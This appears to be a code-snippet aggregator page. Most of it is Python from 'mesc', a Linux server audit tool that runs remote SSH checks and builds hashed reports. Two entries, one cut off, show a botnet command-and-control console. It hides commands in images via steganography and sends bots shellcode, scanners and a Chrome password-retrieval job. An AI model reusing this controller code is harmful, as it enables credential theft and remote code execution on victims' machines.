        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = common.free(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table1,
              results.txt_file, results.html_file, outputdirectory)

        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = common.who(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table1,
              results.txt_file, results.html_file, outputdirectory)

        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = common.tail_root(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table1,
              results.txt_file, results.html_file, outputdirectory)

        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = common.last(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table1,
              results.txt_file, results.html_file, outputdirectory)

        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = common.shells(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table1,
              results.txt_file, results.html_file, outputdirectory)

        print((tabulate(table1, tablefmt="plain")))  # print out the results
        print((os.linesep))
#------------------------------------------------------------------------------

    if results.boot or results.all:
        print_titles(BOOT, BOOT_LINE, 'boot', results.txt_file,
             results.html_file, outputdirectory, table2)

        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = boot.grub(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table2,
              results.txt_file, results.html_file, outputdirectory)

        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = boot.rc3(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table2,
              results.txt_file, results.html_file, outputdirectory)

        print((tabulate(table2, tablefmt="plain")))  # print out the results
        print((os.linesep))

#------------------------------------------------------------------------------
    if results.filesystem or results.all:
        print_titles(FILESYSTEM, FILESYSTEM_LINE, 'filesystem',
             results.txt_file, results.html_file, outputdirectory, table3)

        filesystem.defpath()

        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = filesystem.diskspace(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table3,
              results.txt_file, results.html_file, outputdirectory)

        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = filesystem.inodespace(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table3,
              results.txt_file, results.html_file, outputdirectory)

        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = filesystem.setuid(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table3,
              results.txt_file, results.html_file, outputdirectory)

        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = filesystem.setgid(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table3,
              results.txt_file, results.html_file, outputdirectory)

        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = filesystem.rhosts(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table3,
              results.txt_file, results.html_file, outputdirectory)

        command_output, help_command, command_check, check_message,\
         check_html_message, command,\
          cmd = filesystem.allpermissionsdir(results.host, fabric_user,
               fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table3,
              results.txt_file, results.html_file, outputdirectory)

        command_output, help_command, command_check, check_message,\
         check_html_message, command,\
          cmd = filesystem.allpermissionsfiles(results.host,
               fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table3,
              results.txt_file, results.html_file, outputdirectory)

        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = filesystem.writefiles(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table3,
              results.txt_file, results.html_file, outputdirectory)

        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = filesystem.tmpcontent(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table3,
              results.txt_file, results.html_file, outputdirectory)

        print((tabulate(table3, tablefmt="plain")))  # print out the results
        print((os.linesep))
#------------------------------------------------------------------------------
    if results.tcpip or results.all:
        print_titles(TCPIP, TCPIP_LINE, 'tcpip', results.txt_file,
             results.html_file, outputdirectory, table4)

        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = tcpip.nmap(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table4,
              results.txt_file, results.html_file, outputdirectory)

        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = tcpip.rpcinfo(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table4,
              results.txt_file, results.html_file, outputdirectory)

        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = tcpip.routes(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table4,
              results.txt_file, results.html_file, outputdirectory)

        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = tcpip.activeconections(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table4,
              results.txt_file, results.html_file, outputdirectory)

        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = tcpip.ifconfig(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table4,
              results.txt_file, results.html_file, outputdirectory)

        print((tabulate(table4, tablefmt="plain")))  # print out the results
        print((os.linesep))
#------------------------------------------------------------------------------
    if results.processes or results.all:
        print_titles(PROCESSES, PROCESSES_LINE, 'processes',
             results.txt_file, results.html_file, outputdirectory, table5)

        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = proc.proc(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table5,
              results.txt_file, results.html_file, outputdirectory)

        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = proc.packages(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table5,
              results.txt_file, results.html_file, outputdirectory)

        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = proc.top(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table5,
              results.txt_file, results.html_file, outputdirectory)

        print((tabulate(table5, tablefmt="plain")))  # print out the results
        print((os.linesep))
#------------------------------------------------------------------------------
    if results.security or results.all:
        print_titles(SECURITY, SECURITY_LINE, 'security', results.txt_file,
             results.html_file, outputdirectory, table6)

        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = security.checkShells(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table6,
              results.txt_file, results.html_file, outputdirectory)

        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = security.checkSSH(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table6,
              results.txt_file, results.html_file, outputdirectory)

        command_output, help_command, command_check, check_message,\
         check_html_message, command,\
          cmd = security.checkDisabledCtrlAltDel(results.host, fabric_user,
               fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table6,
              results.txt_file, results.html_file, outputdirectory)

        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = security.checkCrontab(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table6,
              results.txt_file, results.html_file, outputdirectory)

        command_output, help_command, command_check, check_message,\
         check_html_message, command, cmd = security.checkApache(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table6,
              results.txt_file, results.html_file, outputdirectory)
        '''
        command_output, help_command, command_check, check_message,\
        check_html_message, command, cmd = security.recomendations(results.host,
              fabric_user, fabric_passwd, fabric_port)
        print_results(help_command, command_output, command_check,
             check_message, check_html_message, command, cmd, table6,
              results.txt_file, results.html_file, outputdirectory)

        print "<FONT COLOR=$color_cabecera>- chkrootkit: shell script that checks system binaries for rootkit modification</FONT> http://www.chkrootkit.org/<br>";
        print "<FONT COLOR=$color_cabecera>- AIDE (Advanced Intrusion Detection Environment) </FONT>http://www.cs.tut.fi/~rammer/aide.html<br>";
        print "<FONT COLOR=$color_cabecera>- John the Ripper is a fast password cracker </FONT>http://www.openwall.com/john/ <br>";
        print "<FONT COLOR=$color_cabecera>- Logcheck is a simple utility which is designed to allow a system administrator to view the logfiles which are produced upon hosts under their control. </FONT>http://logcheck.org/ <br>";
        print "<FONT COLOR=$color_cabecera>- Portsentry is an attack detection tool </FONT>http://sourceforge.net/projects/sentrytools/<br>";
        print "<FONT COLOR=$color_cabecera>- HostSentry is a host based intrusion detection tool </FONT><br>";
        print "<FONT COLOR=$color_cabecera>- DenyHosts is a script intended to be run by Linux system administrators to help thwart SSH server attacks  </FONT>http://denyhosts.sourceforge.net/<br>";
        '''
        print((tabulate(table6, tablefmt="plain")))  # print out the results

#------------------------------------------------------------------------------
    htmlend(results.html_file, outputdirectory)

    hashhtmlreport = hashlib.sha224(results.html_file).hexdigest()
    hashtxtreport = hashlib.sha224(results.txt_file).hexdigest()
    log.create_log(REPORTS, REPORTS_LINE, hashhtmlreport, hashtxtreport,
         outputdirectory, results.html_file, results.txt_file, 'audit_mesc.log',
          outputdate, results.host)
    '''
    print(os.linesep * 2  + (colored(REPORTS, 'white')))
    print((colored(REPORTS_LINE + os.linesep, 'white')))
    hashhtmlreport = hashlib.sha224(results.html_file).hexdigest()
    hashtxtreport = hashlib.sha224(results.txt_file).hexdigest()
    print((colored(' - HTML report (%s): ./' % hashhtmlreport
        + outputdirectory +'/' + results.html_file, 'yellow')))
    print((colored(' - Text report (%s): ./' % hashtxtreport
        + outputdirectory +'/' + results.txt_file, 'yellow')))
    print os.linesep
    '''
    #---------------------------------------------------------------------------
    # The End
    #---------------------------------------------------------------------------

    sys.exit(0)
Example #29
0
def main():
    # Remove previous images from cloud
    cleanup()

    help()

    while True:
        cmd_to_launch = raw_input('C&C console > ')

        if (cmd_to_launch == 'refresh'):
            refresh()
        elif (cmd_to_launch == 'bots'):
            list_bots()
        elif (cmd_to_launch == 'commands'):
            list_commands()
        elif (cmd_to_launch == 'help'):
            help()
        elif (cmd_to_launch == 'cleanup'):
            cleanup()
        elif (cmd_to_launch == 'exit'):
            sys.exit(0)
        else:
            cmd_to_launch = cmd_to_launch.split(' ')
            if (cmd_to_launch[0] == "cmd"):
                cmd = CommandToSend('master', cmd_to_launch[1],
                                    ' '.join(cmd_to_launch[2:]))
                saveimg = ImageHandle()

                if (saveimg.save(cmd.build(), cmd.get_jobid())):
                    print((colored('[+] Steganography applied, image saved',
                                   'white')))
                    print((colored(
                        "[+] Sent command %s with jobid: %s" %
                        (' '.join(cmd_to_launch[2:]), cmd.get_jobid()),
                        "white")))
                else:
                    print((colored('[-] Error saving the image. Try again',
                                   'yellow')))

            elif (cmd_to_launch[0] == "shellcode"):
                cmd = CommandToSend(
                    'master', cmd_to_launch[1],
                    'shellcode %s' % base64.b64encode(cmd_to_launch[2]))
                saveimg = ImageHandle()

                if (saveimg.save(cmd.build(), cmd.get_jobid())):
                    print((colored('[+] Steganography applied, image saved',
                                   'white')))
                    print((colored(
                        "[+] Sent shellcode with jobid: %s" %
                        (cmd.get_jobid()), "white")))

                else:
                    print((colored('[-] Error saving the image. Try again',
                                   'yellow')))

            elif (cmd_to_launch[0] == "scanner"):
                cmd = CommandToSend('master', cmd_to_launch[1],
                                    'scanner %s' % cmd_to_launch[2])
                saveimg = ImageHandle()

                if (saveimg.save(cmd.build(), cmd.get_jobid())):
                    print((colored('[+] Steganography applied, image saved',
                                   'white')))
                    print((colored(
                        "[+] Sent scanner with jobid: %s" % (cmd.get_jobid()),
                        "white")))

                else:
                    print((colored('[-] Error saving the image. Try again',
                                   'yellow')))

            elif (cmd_to_launch[0] == "chromepasswords"):
                cmd = CommandToSend('master', cmd_to_launch[1],
                                    'chromepasswords')
                saveimg = ImageHandle()

                if (saveimg.save(cmd.build(), cmd.get_jobid())):
                    print((colored('[+] Steganography applied, image saved',
                                   'white')))
                    print((colored(
                        "[+] Retrieve chrome passwords with jobid: %s" %
                        (cmd.get_jobid()), "white")))

                else:
                    print((colored('[-] Error saving the image. Try again',
                                   'yellow')))

            elif (cmd_to_launch[0] == "retrieve"):
                retrieve_command(cmd_to_launch[1])
            else:
                print((colored("[!] Unrecognized command", "yellow")))
Example #30
0
File: mesc.py Project: bongwa/mesc
def main():

    # Show the program banner.
    show_banner()

    # Get the command line parser.
    parser = cmdline_parser()

    # Show help if no args
    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    #---------------------------------------------------------------------------

    # Get results line parser.
    results = parser.parse_args()

    #---------------------------------------------------------------------------
    # Start time
    #---------------------------------------------------------------------------
    start_time = datetime.now()

    #---------------------------------------------------------------------------
    # Sections
    #---------------------------------------------------------------------------

    AUDIT = 'Auditor'
    AUDIT_LINE = '-----------'
    GENERAL = 'System                              '
    GENERAL_LINE = '----------'
    BOOT = 'Boot                                '
    BOOT_LINE = '--------'
    FILESYSTEM = 'Filesystem                          '
    FILESYSTEM_LINE = '--------------'
    TCPIP = 'Network                             '
    TCPIP_LINE = '-----------'
    PROCESSES = 'Processes running in the system     '
    PROCESSES_LINE = '-----------------------------------'
    SECURITY = 'Security                            '
    SECURITY_LINE = '------------'
    REPORTS = 'Reports'
    REPORTS_LINE = '---------------'

    #---------------------------------------------------------------------------
    # Global variables
    #---------------------------------------------------------------------------
    table0 = []
    table1 = []
    table2 = []
    table3 = []
    table4 = []
    table5 = []
    table6 = []
    table7 = []

    total = 0
    totalsok = 0
    totalwarning = 0
    totalcritical = 0
    totalserror = 0
    totalsystem = 0
    totalboot = 0
    totalfile = 0
    totalnet = 0
    totalproc = 0
    totalsec = 0
    processes_duration = 0
    network_duration = 0
    file_duration = 0
    boot_duration = 0
    sys_duration = 0

    global consoleoutput 
    consoleoutput = []


    # Fabric
    if results.port:
        fabric_port = results.port
    else:
        fabric_port = '22'

    if results.user:
        fabric_user = results.user
    else:
        fabric_user = '******'

    if results.passwd:
        fabric_passwd = results.passwd
    else:
        fabric_passwd = None

    #---------------------------------------------------------------------------
    # Output
    #---------------------------------------------------------------------------

    # Create output directory for txt and html results
    outputdirectory = 'output'
    if not os.path.exists(outputdirectory):
        os.makedirs(outputdirectory)
    datenow = datetime.now()
    outputdate = datenow.strftime('%Y-%m-%d_%H_%M_%S')
    outputdirectory = 'output' + '/' + outputdate
    os.makedirs(outputdirectory)
    os.makedirs(outputdirectory + '/txt')
    os.makedirs(outputdirectory + '/html/reports')
    os.makedirs(outputdirectory + '/html/css')
    os.makedirs(outputdirectory + '/html/js')
    os.makedirs(outputdirectory + '/html/fonts')
    os.makedirs(outputdirectory + '/html/img')
    os.makedirs(outputdirectory + '/html/img/icons')
    outputdirectorytxt = (outputdirectory + '/txt')
    outputdirectoryhtml = (outputdirectory + '/html')

    # Create the txt results file
    if results.txt_file:
        create_txt_file(results.txt_file, outputdirectorytxt)
    else:
        results.txt_file = 'results.txt'
        create_txt_file(results.txt_file, outputdirectorytxt)

    # Create the html results file
    if results.html_file:
        create_html_file(results.html_file, outputdirectoryhtml, outputdate)
    else:
        results.html_file = 'results.html'
        create_html_file(results.html_file, outputdirectoryhtml, outputdate)

#------------------------------------------------------------------------------

    # Auditor Operating System Information
    os_output, htmlAuditreport = common.auditor_info(start_time,
                                                     results.auditorname)
    # Output txt
    print_audit_txt('[0] ' + AUDIT, AUDIT_LINE, os_output, results.txt_file,
                    outputdirectorytxt)

    # Output html
    gen_html_file = 'general_' + results.html_file
    boot_html_file = 'boot_' + results.html_file
    file_html_file = 'file_' + results.html_file
    net_html_file = 'net_' + results.html_file
    proc_html_file = 'proc_' + results.html_file
    sec_html_file = 'security_' + results.html_file

    cat_menu = {'fileout': results.html_file,
                'fileoutgen': gen_html_file, 'general': 'System information',
                'fileoutboot': boot_html_file, 'boot': 'Boot',
                'fileoutfile': file_html_file, 'filesystem': 'Filesystem',
                'fileoutnet': net_html_file, 'tcpip': 'Network',
                'fileoutproc': proc_html_file, 'processes': 'Processes',
                'fileoutsec': sec_html_file, 'security': 'Security'}

    htmlaudit(results.html_file, htmlAuditreport, outputdirectoryhtml, cat_menu)

    # Output console
    print_title_console('[0] ' + AUDIT, AUDIT_LINE, table0)
    print((tabulate(table0, tablefmt="plain")))  # print out the results
    print((colored(os_output + os.linesep, 'white')))

################################################################################
    # System Information
    sysreport = dict()
    folder = "include/serverinfo/common/"
    for jsonfile in sorted(os.listdir(folder)):
        if jsonfile.endswith(".json") and ("_os_" in jsonfile):
            osreport = common.sysinfo(results.host, fabric_user,
                                        fabric_passwd, fabric_port, jsonfile, folder)
            sysreport.update(osreport)

    __output_sysinfo__ = ""
    
    for keys,values in sysreport.items():
        __output_sysinfo__ += ' - ' + keys + ": " + values + os.linesep

    print_title_console('Targeted System', "--------------", table7)
    print((tabulate(table7, tablefmt="plain")))  # print out the results
    print((colored(str(__output_sysinfo__) + os.linesep, 'white')))

################################################################################

    if results.general or results.all:
        href = 'general'
        html_file = gen_html_file
        create_blank_html_file(html_file, outputdirectoryhtml, outputdate,
                               cat_menu)
        print_titles('[1] ' + GENERAL, GENERAL_LINE, href,
                     results.txt_file, html_file, outputdirectory,
                     table1)

        # Common System Information
        folder = "include/serverinfo/common/"
        for jsonfile in sorted(os.listdir(folder)):

            if jsonfile.endswith(".json"):
                command_output, help_command, command_check, check_message,\
                check_html_message, command, cmd = common.fire(results.host, fabric_user,
                                                               fabric_passwd, fabric_port, jsonfile, folder)
                print_results(help_command, command_output, command_check,
                              check_message, check_html_message, command, cmd, table1,
                              results.txt_file, html_file, outputdirectory)

                statistics(command_check, href, command)  # Statistics

        for rootfs, subFolders, files in os.walk(folder):
            for sf in subFolders:
                table1.append([(colored(' + ' + sf + '                                ', 'white')), '' + (colored('', 'blue')) + ''])
                folderjson = folder + sf
                for jsonfile in sorted(os.listdir(folderjson)):
                    if jsonfile.endswith(".json"):
                        command_output, help_command, command_check, check_message,\
                        check_html_message, command, cmd = common.fire(results.host, fabric_user,
                                                                       fabric_passwd, fabric_port, jsonfile, folderjson)
                        print_results(help_command, command_output, command_check,
                                      check_message, check_html_message, command, cmd, table1,
                                      results.txt_file, html_file, outputdirectory)

                        statistics(command_check, href, command)  # Statistics


        htmlend(html_file, outputdirectoryhtml)

        print((tabulate(table1, tablefmt="plain")))  # print out the results
        print((os.linesep))

    #---------------------------------------------------------------------------
    # system time
    #---------------------------------------------------------------------------
        sys_time = datetime.now()
        sys_duration = format(sys_time - start_time)

################################################################################

    if results.boot or results.all:
        href = 'boot'
        html_file = boot_html_file
        create_blank_html_file(html_file, outputdirectoryhtml, outputdate,
                               cat_menu)
        print_titles('[2] ' + BOOT, BOOT_LINE, href, results.txt_file,
                     html_file, outputdirectory, table2)

        # Boot Information
        folder = "include/serverinfo/boot/"
        for jsonfile in sorted(os.listdir(folder)):

            if jsonfile.endswith(".json"):
                command_output, help_command, command_check, check_message,\
                check_html_message, command, cmd = boot.fire(results.host, fabric_user,
                                                               fabric_passwd, fabric_port, jsonfile, folder)
                print_results(help_command, command_output, command_check,
                              check_message, check_html_message, command, cmd, table2,
                              results.txt_file, html_file, outputdirectory)

                statistics(command_check, href, command)  # Statistics

        for rootfs, subFolders, files in os.walk(folder):
            for sf in subFolders:
                table2.append([(colored(' + ' + sf + '                                ', 'white')), '' + (colored('', 'blue')) + ''])
                folderjson = folder + sf
                for jsonfile in sorted(os.listdir(folderjson)):
                    if jsonfile.endswith(".json"):
                        command_output, help_command, command_check, check_message,\
                        check_html_message, command, cmd = boot.fire(results.host, fabric_user,
                                                                       fabric_passwd, fabric_port, jsonfile, folderjson)
                        print_results(help_command, command_output, command_check,
                                      check_message, check_html_message, command, cmd, table2,
                                      results.txt_file, html_file, outputdirectory)

                        statistics(command_check, href, command)  # Statistics

        htmlend(html_file, outputdirectoryhtml)

        print((tabulate(table2, tablefmt="plain")))  # print out the results
        print((os.linesep))

    #---------------------------------------------------------------------------
    # boot time
    #---------------------------------------------------------------------------
        boot_time = datetime.now()
        boot_duration = format(boot_time - start_time)

################################################################################

    if results.filesystem or results.all:
        href = 'filesystem'
        html_file = file_html_file
        create_blank_html_file(html_file, outputdirectoryhtml, outputdate,
                               cat_menu)
        print_titles('[3] ' + FILESYSTEM, FILESYSTEM_LINE, href,
             results.txt_file, html_file, outputdirectory, table3)

        filesystem.defpath()
        # Filesystem
        folder = "include/serverinfo/filesystem/"
        for jsonfile in sorted(os.listdir(folder)):

            if jsonfile.endswith(".json"):
                command_output, help_command, command_check, check_message,\
                check_html_message, command, cmd = filesystem.fire(results.host, fabric_user,
                                                               fabric_passwd, fabric_port, jsonfile, folder)
                print_results(help_command, command_output, command_check,
                              check_message, check_html_message, command, cmd, table3,
                              results.txt_file, html_file, outputdirectory)

                statistics(command_check, href, command)  # Statistics

        for rootfs, subFolders, files in os.walk(folder):
            for sf in subFolders:
                table3.append([(colored(' + ' + sf + '                                ', 'white')), '' + (colored('', 'blue')) + ''])
                folderjson = folder + sf
                for jsonfile in sorted(os.listdir(folderjson)):
                    if jsonfile.endswith(".json"):
                        command_output, help_command, command_check, check_message,\
                        check_html_message, command, cmd = filesystem.fire(results.host, fabric_user,
                                                                       fabric_passwd, fabric_port, jsonfile, folderjson)
                        print_results(help_command, command_output, command_check,
                                      check_message, check_html_message, command, cmd, table3,
                                      results.txt_file, html_file, outputdirectory)

                        statistics(command_check, href, command)  # Statistics

        htmlend(html_file, outputdirectoryhtml)

        print((tabulate(table3, tablefmt="plain")))  # print out the results
        print((os.linesep))

    #---------------------------------------------------------------------------
    # file time
    #---------------------------------------------------------------------------
        file_time = datetime.now()
        file_duration = format(file_time - start_time)

################################################################################

    if results.tcpip or results.all:
        href = 'tcpip'
        html_file = net_html_file
        create_blank_html_file(html_file, outputdirectoryhtml, outputdate,
                               cat_menu)
        print_titles('[4] ' + TCPIP, TCPIP_LINE, href, results.txt_file,
                     html_file, outputdirectory, table4)

        # TCP/IP
        folder = "include/serverinfo/net/"
        for jsonfile in sorted(os.listdir(folder)):
            if jsonfile.endswith(".json"):
                command_output, help_command, command_check, check_message,\
                check_html_message, command, cmd = tcpip.fire(results.host, fabric_user,
                                                               fabric_passwd, fabric_port, jsonfile, folder)
                print_results(help_command, command_output, command_check,
                              check_message, check_html_message, command, cmd, table4,
                              results.txt_file, html_file, outputdirectory)

                statistics(command_check, href, command)  # Statistics

        for rootfs, subFolders, files in os.walk(folder):
            for sf in subFolders:
                table4.append([(colored(' + ' + sf + '                                ', 'white')), '' + (colored('', 'blue')) + ''])
                folderjson = folder + sf
                for jsonfile in sorted(os.listdir(folderjson)):
                    if jsonfile.endswith(".json"):
                        command_output, help_command, command_check, check_message,\
                        check_html_message, command, cmd = tcpip.fire(results.host, fabric_user,
                                                                       fabric_passwd, fabric_port, jsonfile, folderjson)
                        print_results(help_command, command_output, command_check,
                                      check_message, check_html_message, command, cmd, table4,
                                      results.txt_file, html_file, outputdirectory)

                        statistics(command_check, href, command)  # Statistics

        htmlend(html_file, outputdirectoryhtml)

        print((tabulate(table4, tablefmt="plain")))  # print out the results
        print((os.linesep))

    #---------------------------------------------------------------------------
    # network time
    #---------------------------------------------------------------------------
        network_time = datetime.now()
        network_duration = format(network_time - start_time)


################################################################################

    if results.processes or results.all:
        href = 'processes'
        html_file = proc_html_file
        create_blank_html_file(html_file, outputdirectoryhtml, outputdate,
                               cat_menu)
        print_titles('[5] ' + PROCESSES, PROCESSES_LINE, href,
             results.txt_file, html_file, outputdirectory, table5)



        # PROCESSES
        folder = "include/serverinfo/proc/"
        for jsonfile in sorted(os.listdir(folder)):
            if jsonfile.endswith(".json"):
                command_output, help_command, command_check, check_message,\
                check_html_message, command, cmd = proc.fire(results.host, fabric_user,
                                                            fabric_passwd, fabric_port, jsonfile, folder)
                print_results(help_command, command_output, command_check,
                              check_message, check_html_message, command, cmd, table5,
                              results.txt_file, html_file, outputdirectory)

                statistics(command_check, href, command)  # Statistics

        for rootfs, subFolders, files in os.walk(folder):
            for sf in subFolders:
                table5.append([(colored(' + ' + sf + '                                ', 'white')), '' + (colored('', 'blue')) + ''])
                folderjson = folder + sf
                for jsonfile in sorted(os.listdir(folderjson)):
                    if jsonfile.endswith(".json"):
                        command_output, help_command, command_check, check_message,\
                        check_html_message, command, cmd = proc.fire(results.host, fabric_user,
                                                                       fabric_passwd, fabric_port, jsonfile, folderjson)
                        print_results(help_command, command_output, command_check,
                                      check_message, check_html_message, command, cmd, table5,
                                      results.txt_file, html_file, outputdirectory)

                        statistics(command_check, href, command)  # Statistics

        # psmem Author: [email protected]
        command_output, help_command, command_check, check_message,\
        check_html_message, command, cmd = ps_mem.ps_mem(
                                         results.host, fabric_user,
                                         fabric_passwd, fabric_port)
        command_output_str = os.linesep
        for psm in command_output:
            command_output_str += psm + os.linesep
        print_results(help_command, command_output_str, command_check,
                      check_message, check_html_message, command, cmd, table5,
                      results.txt_file, html_file, outputdirectory)
        statistics(command_check, href, command)  # Statistics
        # psmem Author: [email protected]

        htmlend(html_file, outputdirectoryhtml)

        print((tabulate(table5, tablefmt="plain")))  # print out the results
        print((os.linesep))

    #---------------------------------------------------------------------------
    # processes time
    #---------------------------------------------------------------------------
        processes_time = datetime.now()
        processes_duration = format(processes_time - start_time)

################################################################################

    if results.security or results.all:
        href = 'security'
        html_file = sec_html_file
        create_blank_html_file(html_file, outputdirectoryhtml, outputdate,
                               cat_menu)
        print_titles('[6] ' + SECURITY, SECURITY_LINE, href,
                     results.txt_file, html_file, outputdirectory,
                     table6)

        # SECURITY
        folder = "include/serverinfo/security/"
        for jsonfile in sorted(os.listdir(folder)):
            if jsonfile.endswith(".json"):
                command_output, help_command, command_check, check_message,\
                check_html_message, command, cmd = security.fire(results.host, fabric_user,
                                                               fabric_passwd, fabric_port, jsonfile, folder)
                print_results(help_command, command_output, command_check,
                              check_message, check_html_message, command, cmd, table6,
                              results.txt_file, html_file, outputdirectory)

                statistics(command_check, href, command)  # Statistics

        for rootfs, subFolders, files in os.walk(folder):
            for sf in subFolders:
                table6.append([(colored(' + ' + sf + '                                ', 'white')), '' + (colored('', 'blue')) + ''])
                folderjson = folder + sf
                for jsonfile in sorted(os.listdir(folderjson)):
                    if jsonfile.endswith(".json"):
                        command_output, help_command, command_check, check_message,\
                        check_html_message, command, cmd = security.fire(results.host, fabric_user,
                                                                       fabric_passwd, fabric_port, jsonfile, folderjson)
                        print_results(help_command, command_output, command_check,
                                      check_message, check_html_message, command, cmd, table6,
                                      results.txt_file, html_file, outputdirectory)

                        statistics(command_check, href, command)  # Statistics

        print((tabulate(table6, tablefmt="plain")))  # print out the results


    #---------------------------------------------------------------------------
    # Last statistics
    #---------------------------------------------------------------------------

    total, totalsok, totalwarning, totalcritical, totalserror,\
    totalsystem, totalboot, totalfile, totalnet, totalproc,\
    totalsec, consoleoutputreport = statistics("load", "null", "null")
    htmlend(html_file, outputdirectoryhtml)

    #---------------------------------------------------------------------------
    # End time
    #---------------------------------------------------------------------------
    end_time = datetime.now()
    execute_duration = format(end_time - start_time)

################################################################################

    htmlreportstat = {'total': total, 'ok': totalsok, 'warn': totalwarning,
                      'critical': totalcritical, 'error': totalserror,
                      'system': totalsystem, 'boot': totalboot,
                      'file': totalfile, 'net': totalnet, 'proc': totalproc,
                      'sec': totalsec, 'starttime': start_time,
                      'endtime': execute_duration,
                      'ptime': processes_duration, 'ntime': network_duration,
                      'ftime': file_duration, 'btime': boot_duration,
                      'stime': sys_duration}
    #---------------------------------------------------------------------------
    htmldatadashboard(results.html_file, htmlAuditreport, outputdirectoryhtml, htmlreportstat, consoleoutputreport)
    htmllast(results.html_file, outputdirectoryhtml)
    htmldatadashboardjs(results.html_file, outputdirectoryhtml, htmlreportstat)
    #--------------------------------------------------------------------------
    htmldashboardend(results.html_file, outputdirectoryhtml)

    hash224html = outputdirectoryhtml + "/" + results.html_file
    with open(hash224html) as rfile:
        hashhtmlreport = "sha224sum: " + hashlib.sha224(rfile.read()).hexdigest()
    hash224txt = outputdirectorytxt + "/" + results.txt_file
    with open(hash224txt) as rfile:
        hashtxtreport = "sha224sum: " + hashlib.sha224(rfile.read()).hexdigest()

    log.create_log('[7] ' + REPORTS, REPORTS_LINE, hashhtmlreport,
                   hashtxtreport, outputdirectory, results.html_file,
                   results.txt_file, 'audit_mesc.log', outputdate, results.host)

    #---------------------------------------------------------------------------
    # The End
    #---------------------------------------------------------------------------

    sys.exit(0)
Example #31
0
def main():
    # Remove previous images from cloud
    cleanup()

    help()

    while True:
        cmd_to_launch = raw_input('C&C console > ')

        if (cmd_to_launch == 'refresh'):
            refresh()
        elif (cmd_to_launch == 'bots'):
